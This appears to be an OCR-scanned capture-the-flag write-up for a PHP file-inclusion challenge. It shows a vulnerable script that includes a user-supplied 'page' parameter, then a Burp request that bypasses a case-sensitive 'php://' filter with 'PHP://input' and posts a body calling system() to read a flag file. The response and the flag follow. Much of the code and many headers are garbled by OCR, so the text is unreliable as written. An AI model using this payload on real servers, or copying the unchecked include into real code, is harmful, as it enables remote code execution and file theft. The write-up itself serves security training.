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<?php
show_source(_ FILE_ ) ;
echo $_GET[ hello ];
Spage=5_GET[ paze’ ]:
while (strstr($page, “php://”
Spage=str replace("php://", 77, Spage):

\u \u
1

include ($page) ;

T

<?php
show_source(__FILE _
echo $ GET

$page=$ GET

while (strstr($page

$page=str_replace

include($page
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Payload:

Go cancel | [ < |v || > v Target: http://111.198.29.45:41061 @@

Request Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex
GET /?page=PHP://input HTTP/1.1 & HTTP/1.1 200 OK .
Host: 111.198.29.45:41061 F Date: Mon, 02 Mar 2020 03:27:04 GMT r
User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Winb4; x64; nv:i71.0) Gecko/20100101 Server: Apache/2.2.22 (Ubuntu)
Firefox,/71.0 X-Powered-By: PHP/5.3.10-Tubuntu3
Accept: text/htmlapplication/=html +xml, application/=ml;q=0.9%/%q=0.8 Vary: Accept-Encoding
Accept-Language: Content-Length: 1573
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Content-Type: text/html
Connection: close
Upgrade-Insecure-Requests: 1 <code><span style="color: #000000">
Content-Length: 45 <span style="color: #0000BE "> &It ?php<br />show_source</span> <span style="color:

#007700">(</span> <span style="color: #0000BB">_ FILE_ </span> <span style="color:
#007700">); <br />echo&nbsp; < /span> <span style="color: #000088 ">%$_GET </span > <span
<?php system('cat fldgisisish3r3.php);i> style="color: #007700">[</span> <span style="color: #DD0000">'hello’ </span> <span style="color:
#007700">]; <br /> </span><span style="color: #0000BB "> $page</span> <span style="color:
#007700"> = </span> <span style="color: #0000BB ">$_GET </span> <span style="color:
#007700">[</span><span style="color: #DDO000">'page’ </span><span style="color:
#007700">]: <br />while&nbsp:(</span> <span style="color: #00008E "> strstr < /span> <span
style="color: #007700">(</span> <span style="color: #0000BB "> $page</span> <span style="color:
#007700">, &nbep; </span> <span style="color: #DDO000"> "php://" </span><span style="color:
#007700">))&nbsp; {<br /> &nbsp; &nbsp; &nbsp; &nbsp; </span> <span style="color:

#0000BB ">$page</span><span style="color: #007700"> =< /span> <span style="color:
#0000BB">str_replace</span> <span style="color: #007700"> (< /span> <span style="color:
#DD0000"> "php://™</span> <span style="color: #007700" >, &nbsp; </span> <span style="color:
#DD0000">""</span> <span style="color: #007700"> &nbsp; </span><span style="color:
#0000BB">$%$page</span><span style="color: #007700">); <br />}<br />include(< /span><span
style="color: #0000BE ">$page</span><span style="color: #007700">); <br /> </span> <span
style="color: #00008E ">28gt <br /> </span>

</span>

</codes

<?php

$flag="ctf{876a5fca-96ch-4chd-9075-46f0c89475d2}";
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